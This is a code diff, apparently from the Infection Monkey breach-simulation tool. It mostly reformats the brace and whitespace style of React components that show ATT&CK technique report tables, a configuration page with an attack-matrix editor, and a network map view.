{Header: 'Approx. Time', id: 'time', accessor: x => x.data.info.finished, style: {'whiteSpace': 'unset'}},
{Header: 'Command', id: 'command', accessor: x => x.data.info.executed_cmds.cmd, style: {'whiteSpace': 'unset'}},
]
}])};
}])
};
render() {
return (

View File

@ -1,7 +1,7 @@
import React from 'react';
import '../../../styles/Collapse.scss'
import ReactTable from "react-table";
import { getUsageColumns } from "./Helpers"
import {getUsageColumns} from "./Helpers"
class T1064 extends React.Component {

View File

@ -1,7 +1,7 @@
import React from 'react';
import '../../../styles/Collapse.scss'
import ReactTable from "react-table";
import { renderMachine, ScanStatus } from "./Helpers"
import {renderMachine, ScanStatus} from "./Helpers"
class T1075 extends React.Component {
@ -11,10 +11,10 @@ class T1075 extends React.Component {
this.props.data.successful_logins.forEach((login) => this.setLoginHashType(login))
}
setLoginHashType(login){
if(login.attempts[0].ntlm_hash !== ""){
setLoginHashType(login) {
if (login.attempts[0].ntlm_hash !== "") {
login.attempts[0].hashType = 'NTLM';
} else if(login.attempts[0].lm_hash !== ""){
} else if (login.attempts[0].lm_hash !== "") {
login.attempts[0].hashType = 'LM';
}
}
@ -22,12 +22,13 @@ class T1075 extends React.Component {
static getHashColumns() {
return ([{
columns: [
{Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine), style: { 'whiteSpace': 'unset' }},
{Header: 'Service', id: 'service', accessor: x => x.info.display_name, style: { 'whiteSpace': 'unset' }},
{Header: 'Username', id: 'username', accessor: x => x.attempts[0].user, style: { 'whiteSpace': 'unset' }},
{Header: 'Hash type', id: 'hash', accessor: x => x.attempts[0].hashType, style: { 'whiteSpace': 'unset' }},
{Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine), style: {'whiteSpace': 'unset'}},
{Header: 'Service', id: 'service', accessor: x => x.info.display_name, style: {'whiteSpace': 'unset'}},
{Header: 'Username', id: 'username', accessor: x => x.attempts[0].user, style: {'whiteSpace': 'unset'}},
{Header: 'Hash type', id: 'hash', accessor: x => x.attempts[0].hashType, style: {'whiteSpace': 'unset'}},
]
}])};
}])
};
render() {
return (

View File

@ -1,7 +1,7 @@
import React from 'react';
import '../../../styles/Collapse.scss'
import ReactTable from "react-table";
import { renderMachineFromSystemData, renderUsageFields, ScanStatus } from "./Helpers"
import {renderMachineFromSystemData, renderUsageFields, ScanStatus} from "./Helpers"
class T1082 extends React.Component {
@ -13,10 +13,16 @@ class T1082 extends React.Component {
static getSystemInfoColumns() {
return ([{
columns: [
{Header: 'Machine', id: 'machine', accessor: x => renderMachineFromSystemData(x.machine), style: { 'whiteSpace': 'unset' }},
{Header: 'Gathered info', id: 'info', accessor: x => renderUsageFields(x.collections), style: { 'whiteSpace': 'unset' }},
{
Header: 'Machine',
id: 'machine',
accessor: x => renderMachineFromSystemData(x.machine),
style: {'whiteSpace': 'unset'}
},
{Header: 'Gathered info', id: 'info', accessor: x => renderUsageFields(x.collections), style: {'whiteSpace': 'unset'}},
]
}])};
}])
};
render() {
return (

View File

@ -1,7 +1,7 @@
import React from 'react';
import '../../../styles/Collapse.scss'
import ReactTable from "react-table";
import { renderMachine, ScanStatus } from "./Helpers"
import {renderMachine, ScanStatus} from "./Helpers"
class T1086 extends React.Component {
@ -14,11 +14,18 @@ class T1086 extends React.Component {
return ([{
Header: 'Example Powershell commands used',
columns: [
{Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.data[0].machine), style: { 'whiteSpace': 'unset'}, width: 160 },
{Header: 'Approx. Time', id: 'time', accessor: x => x.data[0].info.finished, style: { 'whiteSpace': 'unset' }},
{Header: 'Command', id: 'command', accessor: x => x.data[0].info.executed_cmds[0].cmd, style: { 'whiteSpace': 'unset' }},
{
Header: 'Machine',
id: 'machine',
accessor: x => renderMachine(x.data[0].machine),
style: {'whiteSpace': 'unset'},
width: 160
},
{Header: 'Approx. Time', id: 'time', accessor: x => x.data[0].info.finished, style: {'whiteSpace': 'unset'}},
{Header: 'Command', id: 'command', accessor: x => x.data[0].info.executed_cmds[0].cmd, style: {'whiteSpace': 'unset'}},
]
}])};
}])
};
render() {
return (

View File

@ -1,7 +1,7 @@
import React from 'react';
import '../../../styles/Collapse.scss'
import ReactTable from "react-table";
import { renderMachineFromSystemData, ScanStatus } from "./Helpers"
import {renderMachineFromSystemData, ScanStatus} from "./Helpers"
class T1090 extends React.Component {
@ -13,10 +13,13 @@ class T1090 extends React.Component {
static getProxyColumns() {
return ([{
columns: [
{Header: 'Machines',
{
Header: 'Machines',
id: 'machine',
accessor: x => renderMachineFromSystemData(x),
style: { 'whiteSpace': 'unset', textAlign: 'center' }}]}])
style: {'whiteSpace': 'unset', textAlign: 'center'}
}]
}])
};
render() {

View File

@ -1,7 +1,7 @@
import React from 'react';
import '../../../styles/Collapse.scss'
import ReactTable from "react-table";
import { ScanStatus } from "./Helpers"
import {ScanStatus} from "./Helpers"
class T1105 extends React.Component {
@ -14,11 +14,12 @@ class T1105 extends React.Component {
return ([{
Header: 'Files copied',
columns: [
{Header: 'Src. Machine', id: 'srcMachine', accessor: x => x.src, style: { 'whiteSpace': 'unset'}, width: 170 },
{Header: 'Dst. Machine', id: 'dstMachine', accessor: x => x.dst, style: { 'whiteSpace': 'unset'}, width: 170},
{Header: 'Filename', id: 'filename', accessor: x => x.filename, style: { 'whiteSpace': 'unset'}},
{Header: 'Src. Machine', id: 'srcMachine', accessor: x => x.src, style: {'whiteSpace': 'unset'}, width: 170},
{Header: 'Dst. Machine', id: 'dstMachine', accessor: x => x.dst, style: {'whiteSpace': 'unset'}, width: 170},
{Header: 'Filename', id: 'filename', accessor: x => x.filename, style: {'whiteSpace': 'unset'}},
]
}])};
}])
};
render() {
return (

View File

@ -1,7 +1,7 @@
import React from 'react';
import '../../../styles/Collapse.scss'
import ReactTable from "react-table";
import { getUsageColumns } from "./Helpers"
import {getUsageColumns} from "./Helpers"
class T1106 extends React.Component {

View File

@ -1,7 +1,7 @@
import React from 'react';
import '../../../styles/Collapse.scss'
import ReactTable from "react-table";
import { renderMachineFromSystemData, ScanStatus } from "./Helpers"
import {renderMachineFromSystemData, ScanStatus} from "./Helpers"
class T1107 extends React.Component {
@ -10,8 +10,8 @@ class T1107 extends React.Component {
super(props);
}
static renderDelete(status){
if(status === ScanStatus.USED){
static renderDelete(status) {
if (status === ScanStatus.USED) {
return <span>Yes</span>
} else {
return <span>No</span>
@ -21,11 +21,19 @@ class T1107 extends React.Component {
static getDeletedFileColumns() {
return ([{
columns: [
{Header: 'Machine', id: 'machine', accessor: x => renderMachineFromSystemData(x._id.machine), style: { 'whiteSpace': 'unset' }},
{Header: 'Path', id: 'path', accessor: x => x._id.path, style: { 'whiteSpace': 'unset' }},
{Header: 'Deleted?', id: 'deleted', accessor: x => this.renderDelete(x._id.status),
style: { 'whiteSpace': 'unset' }, width: 160}]
}])};
{
Header: 'Machine',
id: 'machine',
accessor: x => renderMachineFromSystemData(x._id.machine),
style: {'whiteSpace': 'unset'}
},
{Header: 'Path', id: 'path', accessor: x => x._id.path, style: {'whiteSpace': 'unset'}},
{
Header: 'Deleted?', id: 'deleted', accessor: x => this.renderDelete(x._id.status),
style: {'whiteSpace': 'unset'}, width: 160
}]
}])
};
render() {
return (

View File

@ -1,7 +1,7 @@
import React from 'react';
import '../../../styles/Collapse.scss'
import ReactTable from "react-table";
import { renderMachine, ScanStatus } from "./Helpers"
import {renderMachine, ScanStatus} from "./Helpers"
class T1110 extends React.Component {
@ -13,15 +13,23 @@ class T1110 extends React.Component {
static getServiceColumns() {
return ([{
columns: [
{Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine),
style: { 'whiteSpace': 'unset' }, width: 160},
{Header: 'Service', id: 'service', accessor: x => x.info.display_name, style: { 'whiteSpace': 'unset' }, width: 100},
{Header: 'Started', id: 'started', accessor: x => x.info.started, style: { 'whiteSpace': 'unset' }},
{Header: 'Finished', id: 'finished', accessor: x => x.info.finished, style: { 'whiteSpace': 'unset' }},
{Header: 'Attempts', id: 'attempts', accessor: x => x.attempt_cnt, style: { 'whiteSpace': 'unset' }, width: 160},
{Header: 'Successful credentials', id: 'credentials', accessor: x => this.renderCreds(x.successful_creds), style: { 'whiteSpace': 'unset' }},
{
Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine),
style: {'whiteSpace': 'unset'}, width: 160
},
{Header: 'Service', id: 'service', accessor: x => x.info.display_name, style: {'whiteSpace': 'unset'}, width: 100},
{Header: 'Started', id: 'started', accessor: x => x.info.started, style: {'whiteSpace': 'unset'}},
{Header: 'Finished', id: 'finished', accessor: x => x.info.finished, style: {'whiteSpace': 'unset'}},
{Header: 'Attempts', id: 'attempts', accessor: x => x.attempt_cnt, style: {'whiteSpace': 'unset'}, width: 160},
{
Header: 'Successful credentials',
id: 'credentials',
accessor: x => this.renderCreds(x.successful_creds),
style: {'whiteSpace': 'unset'}
},
]
}])};
}])
};
static renderCreds(creds) {
return <span>{creds.map(cred => <div key={cred}>{cred}</div>)}</span>

View File

@ -1,7 +1,7 @@
import React from 'react';
import '../../../styles/Collapse.scss'
import ReactTable from "react-table";
import { renderMachineFromSystemData, ScanStatus } from "./Helpers"
import {renderMachineFromSystemData, ScanStatus} from "./Helpers"
class T1145 extends React.Component {
@ -10,10 +10,10 @@ class T1145 extends React.Component {
super(props);
}
static renderSSHKeys(keys){
static renderSSHKeys(keys) {
let output = [];
keys.forEach(function(keyInfo){
output.push(<div key={keyInfo['name']+keyInfo['home_dir']}>
keys.forEach(function (keyInfo) {
output.push(<div key={keyInfo['name'] + keyInfo['home_dir']}>
SSH key pair used by <b>{keyInfo['name']}</b> user found in {keyInfo['home_dir']}</div>)
});
return (<div>{output}</div>);
@ -22,16 +22,21 @@ class T1145 extends React.Component {
static getKeysInfoColumns() {
return ([{
columns: [
{Header: 'Machine',
{
Header: 'Machine',
id: 'machine',
accessor: x => renderMachineFromSystemData(x.machine),
style: { 'whiteSpace': 'unset' }},
{Header: 'Keys found',
style: {'whiteSpace': 'unset'}
},
{
Header: 'Keys found',
id: 'keys',
accessor: x => T1145.renderSSHKeys(x.ssh_info),
style: { 'whiteSpace': 'unset' }},
style: {'whiteSpace': 'unset'}
},
]
}])};
}])
};
render() {
return (

View File

@ -1,7 +1,7 @@
import React from 'react';
import '../../../styles/Collapse.scss'
import ReactTable from "react-table";
import { renderMachineFromSystemData, ScanStatus } from "./Helpers"
import {renderMachineFromSystemData, ScanStatus} from "./Helpers"
class T1188 extends React.Component {
@ -14,20 +14,27 @@ class T1188 extends React.Component {
return ([{
Header: "Communications through multi-hop proxies",
columns: [
{Header: 'From',
{
Header: 'From',
id: 'from',
accessor: x => renderMachineFromSystemData(x.from),
style: { 'whiteSpace': 'unset' }},
{Header: 'To',
style: {'whiteSpace': 'unset'}
},
{
Header: 'To',
id: 'to',
accessor: x => renderMachineFromSystemData(x.to),
style: { 'whiteSpace': 'unset' }},
{Header: 'Hops',
style: {'whiteSpace': 'unset'}
},
{
Header: 'Hops',
id: 'hops',
accessor: x => x.count,
style: { 'whiteSpace': 'unset' }},
style: {'whiteSpace': 'unset'}
},
]
}])};
}])
};
render() {
return (

View File

@ -1,30 +1,36 @@
import React from 'react';
import '../../../styles/Collapse.scss'
import ReactTable from "react-table";
import { renderMachine } from "./Helpers"
import {renderMachine} from "./Helpers"
class T1210 extends React.Component {
constructor(props) {
super(props);
this.columns = [ {Header: 'Machine',
this.columns = [{
Header: 'Machine',
id: 'machine', accessor: x => renderMachine(x),
style: { 'whiteSpace': 'unset' },
width: 200},
{Header: 'Time',
style: {'whiteSpace': 'unset'},
width: 200
},
{
Header: 'Time',
id: 'time', accessor: x => x.time,
style: { 'whiteSpace': 'unset' },
width: 170},
{Header: 'Usage',
style: {'whiteSpace': 'unset'},
width: 170
},
{
Header: 'Usage',
id: 'usage', accessor: x => x.usage,
style: { 'whiteSpace': 'unset' }}
style: {'whiteSpace': 'unset'}
}
]
}
renderExploitedMachines(){
if (this.props.data.bits_jobs.length === 0){
return (<div />)
renderExploitedMachines() {
if (this.props.data.bits_jobs.length === 0) {
return (<div/>)
} else {
return (<ReactTable
columns={this.columns}

View File

@ -1,7 +1,7 @@
import React from 'react';
import '../../../styles/Collapse.scss'
import ReactTable from "react-table";
import { renderMachine } from "./Helpers"
import {renderMachine} from "./Helpers"
class T1210 extends React.Component {
@ -14,40 +14,52 @@ class T1210 extends React.Component {
return ([{
Header: "Found services",
columns: [
{Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine),
style: { 'whiteSpace': 'unset' }, width: 200},
{Header: 'Time', id: 'time', accessor: x => x.time, style: { 'whiteSpace': 'unset' }},
{Header: 'Port', id: 'port', accessor: x =>x.service.port, style: { 'whiteSpace': 'unset' }, width: 100},
{Header: 'Service', id: 'service', accessor: x => x.service.display_name, style: { 'whiteSpace': 'unset' }}
{
Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine),
style: {'whiteSpace': 'unset'}, width: 200
},
{Header: 'Time', id: 'time', accessor: x => x.time, style: {'whiteSpace': 'unset'}},
{Header: 'Port', id: 'port', accessor: x => x.service.port, style: {'whiteSpace': 'unset'}, width: 100},
{Header: 'Service', id: 'service', accessor: x => x.service.display_name, style: {'whiteSpace': 'unset'}}
]
}])}
}])
}
static getExploitColumns() {
return ([{
Header: "Exploited services",
columns: [
{Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine),
style: { 'whiteSpace': 'unset' }, width: 200},
{Header: 'Time', id: 'time', accessor: x => x.time, style: { 'whiteSpace': 'unset' }},
{Header: 'Port/url', id: 'port', accessor: x =>this.renderEndpoint(x.service), style: { 'whiteSpace': 'unset' },
width: 170},
{Header: 'Service', id: 'service', accessor: x => x.service.display_name, style: { 'whiteSpace': 'unset' }}
{
Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine),
style: {'whiteSpace': 'unset'}, width: 200
},
{Header: 'Time', id: 'time', accessor: x => x.time, style: {'whiteSpace': 'unset'}},
{
Header: 'Port/url', id: 'port', accessor: x => this.renderEndpoint(x.service), style: {'whiteSpace': 'unset'},
width: 170
},
{Header: 'Service', id: 'service', accessor: x => x.service.display_name, style: {'whiteSpace': 'unset'}}
]
}])};
}])
};
static renderEndpoint(val){
static renderEndpoint(val) {
return (
<span>{(val.vulnerable_urls.length !== 0 ? val.vulnerable_urls[0] : val.vulnerable_ports[0])}</span>
)
};
static formatScanned(data){
static formatScanned(data) {
let result = [];
for(let service in data.machine.services){
let scanned_service = {'machine': data.machine,
for (let service in data.machine.services) {
let scanned_service = {
'machine': data.machine,
'time': data.time,
'service': {'port': [data.machine.services[service].port],
'display_name': data.machine.services[service].display_name}};
'service': {
'port': [data.machine.services[service].port],
'display_name': data.machine.services[service].display_name
}
};
result.push(scanned_service)
}
return result

View File

@ -1,7 +1,7 @@
import React from 'react';
import '../../../styles/Collapse.scss'
import ReactTable from "react-table";
import { renderMachine, ScanStatus } from "./Helpers"
import {renderMachine, ScanStatus} from "./Helpers"
class T1222 extends React.Component {
@ -14,10 +14,11 @@ class T1222 extends React.Component {
return ([{
Header: "Permission modification commands",
columns: [
{Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine), style: { 'whiteSpace': 'unset' }},
{Header: 'Command', id: 'command', accessor: x => x.command, style: { 'whiteSpace': 'unset' }},
{Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine), style: {'whiteSpace': 'unset'}},
{Header: 'Command', id: 'command', accessor: x => x.command, style: {'whiteSpace': 'unset'}},
]
}])};
}])
};
render() {
return (

View File

@ -3,7 +3,7 @@ import Form from 'react-jsonschema-form';
import {Col, Modal, Nav, NavItem} from 'react-bootstrap';
import fileDownload from 'js-file-download';
import AuthComponent from '../AuthComponent';
import { FilePond } from 'react-filepond';
import {FilePond} from 'react-filepond';
import 'filepond/dist/filepond.min.css';
import MatrixComponent from "../attack/MatrixComponent";
@ -37,7 +37,7 @@ class ConfigurePageComponent extends AuthComponent {
};
}
getUiSchemas(){
getUiSchemas() {
return ({
basic: {"ui:order": ["general", "credentials"]},
basic_network: {},
@ -94,8 +94,11 @@ class ConfigurePageComponent extends AuthComponent {
this.setInitialConfig(monkeyConfig.configuration);
this.setInitialAttackConfig(attackConfig.configuration);
for (let sectionKey of this.sectionsOrder) {
if (sectionKey === 'attack') {sections.push({key:sectionKey, title: "ATT&CK"})}
else {sections.push({key: sectionKey, title: monkeyConfig.schema.properties[sectionKey].title});}
if (sectionKey === 'attack') {
sections.push({key: sectionKey, title: "ATT&CK"})
} else {
sections.push({key: sectionKey, title: monkeyConfig.schema.properties[sectionKey].title});
}
}
this.setState({
schema: monkeyConfig.schema,
@ -118,7 +121,7 @@ class ConfigurePageComponent extends AuthComponent {
};
onSubmit = () => {
if (this.state.selectedSection === 'attack'){
if (this.state.selectedSection === 'attack') {
this.matrixSubmit()
} else {
this.configSubmit()
@ -134,13 +137,14 @@ class ConfigurePageComponent extends AuthComponent {
body: JSON.stringify(this.state.attackConfig)
})
.then(res => {
if (!res.ok)
{
if (!res.ok) {
throw Error()
}
return res;
})
.then(() => {this.setInitialAttackConfig(this.state.attackConfig);})
.then(() => {
this.setInitialAttackConfig(this.state.attackConfig);
})
.then(this.updateConfig())
.then(this.setState({lastAction: 'saved'}))
.catch(error => {
@ -168,22 +172,22 @@ class ConfigurePageComponent extends AuthComponent {
};
// Alters attack configuration when user toggles technique
attackTechniqueChange = (technique, value, mapped=false) => {
attackTechniqueChange = (technique, value, mapped = false) => {
// Change value in attack configuration
// Go trough each column in matrix, searching for technique
Object.entries(this.state.attackConfig).forEach(techType => {
if(techType[1].properties.hasOwnProperty(technique)){
if (techType[1].properties.hasOwnProperty(technique)) {
let tempMatrix = this.state.attackConfig;
tempMatrix[techType[0]].properties[technique].value = value;
this.setState({attackConfig: tempMatrix});
// Toggle all mapped techniques
if (! mapped ){
if (!mapped) {
// Loop trough each column and each row
Object.entries(this.state.attackConfig).forEach(otherType => {
Object.entries(otherType[1].properties).forEach(otherTech => {
// If this technique depends on a technique that was changed
if (otherTech[1].hasOwnProperty('depends_on') && otherTech[1]['depends_on'].includes(technique)){
if (otherTech[1].hasOwnProperty('depends_on') && otherTech[1]['depends_on'].includes(technique)) {
this.attackTechniqueChange(otherTech[0], value, true)
}
})
@ -207,17 +211,23 @@ class ConfigurePageComponent extends AuthComponent {
};
renderAttackAlertModal = () => {
return (<Modal show={this.state.showAttackAlert} onHide={() => {this.setState({showAttackAlert: false})}}>
return (<Modal show={this.state.showAttackAlert} onHide={() => {
this.setState({showAttackAlert: false})
}}>
<Modal.Body>
<h2><div className="text-center">Warning</div></h2>
<p className = "text-center" style={{'fontSize': '1.2em', 'marginBottom': '2em'}}>
<h2>
<div className="text-center">Warning</div>
</h2>
<p className="text-center" style={{'fontSize': '1.2em', 'marginBottom': '2em'}}>
You have unsubmitted changes. Submit them before proceeding.
</p>
<div className="text-center">
<button type="button"
className="btn btn-success btn-lg"
style={{margin: '5px'}}
onClick={() => {this.setState({showAttackAlert: false})}} >
onClick={() => {
this.setState({showAttackAlert: false})
}}>
Cancel
</button>
</div>
@ -225,23 +235,23 @@ class ConfigurePageComponent extends AuthComponent {
</Modal>)
};
userChangedConfig(){
if(JSON.stringify(this.state.configuration) === JSON.stringify(this.initialConfig)){
if(Object.keys(this.currentFormData).length === 0 ||
JSON.stringify(this.initialConfig[this.currentSection]) === JSON.stringify(this.currentFormData)){
userChangedConfig() {
if (JSON.stringify(this.state.configuration) === JSON.stringify(this.initialConfig)) {
if (Object.keys(this.currentFormData).length === 0 ||
JSON.stringify(this.initialConfig[this.currentSection]) === JSON.stringify(this.currentFormData)) {
return false;
}
}
return true;
}
userChangedMatrix(){
userChangedMatrix() {
return (JSON.stringify(this.state.attackConfig) !== JSON.stringify(this.initialAttackConfig))
}
setSelectedSection = (key) => {
if ((key === 'attack' && this.userChangedConfig()) ||
(this.currentSection === 'attack' && this.userChangedMatrix())){
(this.currentSection === 'attack' && this.userChangedMatrix())) {
this.setState({showAttackAlert: true});
return;
}
@ -270,9 +280,11 @@ class ConfigurePageComponent extends AuthComponent {
this.setInitialConfig(res.configuration);
this.props.onStatusChange();
});
this.authFetch(ATTACK_URL,{ method: 'POST',
this.authFetch(ATTACK_URL, {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify('reset_attack_matrix')})
body: JSON.stringify('reset_attack_matrix')
})
.then(res => res.json())
.then(res => {
this.setState({attackConfig: res.configuration});
@ -280,16 +292,18 @@ class ConfigurePageComponent extends AuthComponent {
})
};
removePBAfiles(){
removePBAfiles() {
// We need to clean files from widget, local state and configuration (to sync with bac end)
if (this.PBAwindowsPond !== null){
if (this.PBAwindowsPond !== null) {
this.PBAwindowsPond.removeFile();
}
if (this.PBAlinuxPond !== null){
if (this.PBAlinuxPond !== null) {
this.PBAlinuxPond.removeFile();
}
let request_options = {method: 'DELETE',
headers: {'Content-Type': 'text/plain'}};
let request_options = {
method: 'DELETE',
headers: {'Content-Type': 'text/plain'}
};
this.authFetch('/api/fileUpload/PBAlinux', request_options);
this.authFetch('/api/fileUpload/PBAwindows', request_options);
this.setState({PBAlinuxFile: [], PBAwinFile: []});
@ -300,9 +314,12 @@ class ConfigurePageComponent extends AuthComponent {
this.setState({
configuration: JSON.parse(event.target.result),
lastAction: 'import_success'
}, () => {this.sendConfig(); this.setInitialConfig(JSON.parse(event.target.result))});
}, () => {
this.sendConfig();
this.setInitialConfig(JSON.parse(event.target.result))
});
this.currentFormData = {};
} catch(SyntaxError) {
} catch (SyntaxError) {
this.setState({lastAction: 'import_failure'});
}
};
@ -321,8 +338,7 @@ class ConfigurePageComponent extends AuthComponent {
body: JSON.stringify(this.state.configuration)
})
.then(res => {
if (!res.ok)
{
if (!res.ok) {
throw Error()
}
return res;
@ -355,7 +371,8 @@ class ConfigurePageComponent extends AuthComponent {
PBAwindows = () => {
return (<FilePond
server={{ url:'/api/fileUpload/PBAwindows',
server={{
url: '/api/fileUpload/PBAwindows',
process: {headers: {'Authorization': this.jwtHeader}},
revert: {headers: {'Authorization': this.jwtHeader}},
restore: {headers: {'Authorization': this.jwtHeader}},
@ -374,7 +391,8 @@ class ConfigurePageComponent extends AuthComponent {
PBAlinux = () => {
return (<FilePond
server={{ url:'/api/fileUpload/PBAlinux',
server={{
url: '/api/fileUpload/PBAlinux',
process: {headers: {'Authorization': this.jwtHeader}},
revert: {headers: {'Authorization': this.jwtHeader}},
restore: {headers: {'Authorization': this.jwtHeader}},
@ -391,23 +409,23 @@ class ConfigurePageComponent extends AuthComponent {
/>)
};
getWinPBAfile(){
if (this.state.PBAwinFile.length !== 0){
getWinPBAfile() {
if (this.state.PBAwinFile.length !== 0) {
return ConfigurePageComponent.getMockPBAfile(this.state.PBAwinFile[0])
} else if (this.state.configuration.monkey.behaviour.PBA_windows_filename){
} else if (this.state.configuration.monkey.behaviour.PBA_windows_filename) {
return ConfigurePageComponent.getFullPBAfile(this.state.configuration.monkey.behaviour.PBA_windows_filename)
}
}
getLinuxPBAfile(){
if (this.state.PBAlinuxFile.length !== 0){
getLinuxPBAfile() {
if (this.state.PBAlinuxFile.length !== 0) {
return ConfigurePageComponent.getMockPBAfile(this.state.PBAlinuxFile[0])
} else if (this.state.configuration.monkey.behaviour.PBA_linux_filename) {
return ConfigurePageComponent.getFullPBAfile(this.state.configuration.monkey.behaviour.PBA_linux_filename)
}
}
static getFullPBAfile(filename){
static getFullPBAfile(filename) {
return [{
source: filename,
options: {
@ -416,7 +434,7 @@ class ConfigurePageComponent extends AuthComponent {
}];
}
static getMockPBAfile(mockFile){
static getMockPBAfile(mockFile) {
let pbaFile = [{
source: mockFile.name,
options: {
@ -442,15 +460,15 @@ class ConfigurePageComponent extends AuthComponent {
uiSchema={this.uiSchemas[this.state.selectedSection]}
formData={this.state.configuration[this.state.selectedSection]}
onChange={this.onChange}
noValidate={true} >
noValidate={true}>
<button type="submit" className={"hidden"}>Submit</button>
</Form>
</div> )
</div>)
};
renderRunningMonkeysWarning = () => {
return (<div>
{ this.state.allMonkeysAreDead ?
{this.state.allMonkeysAreDead ?
'' :
<div className="alert alert-warning">
<i className="glyphicon glyphicon-warning-sign" style={{'marginRight': '5px'}}/>
@ -462,14 +480,14 @@ class ConfigurePageComponent extends AuthComponent {
};
renderBasicNetworkWarning = () => {
if (this.state.selectedSection === 'basic_network'){
if (this.state.selectedSection === 'basic_network') {
return (<div className="alert alert-info">
<i className="glyphicon glyphicon-info-sign" style={{'marginRight': '5px'}}/>
The Monkey scans its subnet if "Local network scan" is ticked. Additionally the monkey scans machines
according to its range class.
</div>)
} else {
return (<div />)
return (<div/>)
}
};
@ -488,9 +506,9 @@ class ConfigurePageComponent extends AuthComponent {
displayedSchema['definitions'] = this.state.schema['definitions'];
}
let content = '';
if (this.state.selectedSection === 'attack' && Object.entries(this.state.attackConfig).length !== 0 ) {
if (this.state.selectedSection === 'attack' && Object.entries(this.state.attackConfig).length !== 0) {
content = this.renderMatrix()
} else if(this.state.selectedSection !== 'attack') {
} else if (this.state.selectedSection !== 'attack') {
content = this.renderConfigContent(displayedSchema)
}
return (
@ -498,8 +516,8 @@ class ConfigurePageComponent extends AuthComponent {
{this.renderAttackAlertModal()}
<h1 className="page-title">Monkey Configuration</h1>
{this.renderNav()}
{ this.renderRunningMonkeysWarning()}
{ content }
{this.renderRunningMonkeysWarning()}
{content}
<div className="text-center">
<button type="submit" onClick={this.onSubmit} className="btn btn-success btn-lg" style={{margin: '5px'}}>
Submit
@ -513,37 +531,37 @@ class ConfigurePageComponent extends AuthComponent {
className="btn btn-info btn-lg" style={{margin: '5px'}}>
Import Config
</button>
<input id="uploadInputInternal" type="file" accept=".conf" onChange={this.importConfig} style={{display: 'none'}} />
<input id="uploadInputInternal" type="file" accept=".conf" onChange={this.importConfig} style={{display: 'none'}}/>
<button type="button" onClick={this.exportConfig} className="btn btn-info btn-lg" style={{margin: '5px'}}>
Export config
</button>
</div>
<div>
{ this.state.lastAction === 'reset' ?
{this.state.lastAction === 'reset' ?
<div className="alert alert-success">
<i className="glyphicon glyphicon-ok-sign" style={{'marginRight': '5px'}}/>
Configuration reset successfully.
</div>
: ''}
{ this.state.lastAction === 'saved' ?
{this.state.lastAction === 'saved' ?
<div className="alert alert-success">
<i className="glyphicon glyphicon-ok-sign" style={{'marginRight': '5px'}}/>
Configuration saved successfully.
</div>
: ''}
{ this.state.lastAction === 'import_failure' ?
{this.state.lastAction === 'import_failure' ?
<div className="alert alert-danger">
<i className="glyphicon glyphicon-exclamation-sign" style={{'marginRight': '5px'}}/>
Failed importing configuration. Invalid config file.
</div>
: ''}
{ this.state.lastAction === 'invalid_configuration' ?
{this.state.lastAction === 'invalid_configuration' ?
<div className="alert alert-danger">
<i className="glyphicon glyphicon-exclamation-sign" style={{'marginRight': '5px'}}/>
An invalid configuration file was imported or submitted.
</div>
: ''}
{ this.state.lastAction === 'import_success' ?
{this.state.lastAction === 'import_success' ?
<div className="alert alert-success">
<i className="glyphicon glyphicon-ok-sign" style={{'marginRight': '5px'}}/>
Configuration imported successfully.

View File

@ -18,8 +18,8 @@ class LicensePageComponent extends React.Component {
<h1 className="page-title">License</h1>
<div style={{'fontSize': '1.2em'}}>
<p>
Copyright <i className="glyphicon glyphicon-copyright-mark" /> 2017 Guardicore Ltd.
<br />
Copyright <i className="glyphicon glyphicon-copyright-mark"/> 2017 Guardicore Ltd.
<br/>
Licensed under <a href="https://www.gnu.org/licenses/gpl-3.0.html" target="_blank">GPLv3</a>.
</p>
<p>

View File

@ -52,7 +52,7 @@ class MapPageComponent extends AuthComponent {
};
updateTelemetryFromServer = () => {
this.authFetch('/api/telemetry-feed?timestamp='+this.state.telemetryLastTimestamp)
this.authFetch('/api/telemetry-feed?timestamp=' + this.state.telemetryLastTimestamp)
.then(res => res.json())
.then(res => {
let newTelem = this.state.telemetry.concat(res['telemetries']);
@ -71,8 +71,7 @@ class MapPageComponent extends AuthComponent {
this.authFetch('/api/netmap/node?id=' + event.nodes[0])
.then(res => res.json())
.then(res => this.setState({selected: res, selectedType: 'node'}));
}
else if (event.edges.length === 1) {
} else if (event.edges.length === 1) {
let displayedEdge = this.state.graph.edges.find(
function (edge) {
return edge['id'] === event.edges[0];
@ -84,8 +83,7 @@ class MapPageComponent extends AuthComponent {
.then(res => res.json())
.then(res => this.setState({selected: res.edge, selectedType: 'edge'}));
}
}
else {
} else {
this.setState({selected: null, selectedType: null});
}
}
@ -100,7 +98,9 @@ class MapPageComponent extends AuthComponent {
return (
<Modal show={this.state.showKillDialog} onHide={() => this.setState({showKillDialog: false})}>
<Modal.Body>
<h2><div className="text-center">Are you sure you want to kill all monkeys?</div></h2>
<h2>
<div className="text-center">Are you sure you want to kill all monkeys?</div>
</h2>
<p style={{'fontSize': '1.2em', 'marginBottom': '2em'}}>
This might take a few moments...
</p>
@ -153,15 +153,15 @@ class MapPageComponent extends AuthComponent {
<Col xs={8}>
<div className="map-legend">
<b>Legend: </b>
<span>Exploit <i className="fa fa-lg fa-minus" style={{color: '#cc0200'}} /></span>
<span>Exploit <i className="fa fa-lg fa-minus" style={{color: '#cc0200'}}/></span>
<b style={{color: '#aeaeae'}}> | </b>
<span>Scan <i className="fa fa-lg fa-minus" style={{color: '#ff9900'}} /></span>
<span>Scan <i className="fa fa-lg fa-minus" style={{color: '#ff9900'}}/></span>
<b style={{color: '#aeaeae'}}> | </b>
<span>Tunnel <i className="fa fa-lg fa-minus" style={{color: '#0158aa'}} /></span>
<span>Tunnel <i className="fa fa-lg fa-minus" style={{color: '#0158aa'}}/></span>
<b style={{color: '#aeaeae'}}> | </b>
<span>Island Communication <i className="fa fa-lg fa-minus" style={{color: '#a9aaa9'}} /></span>
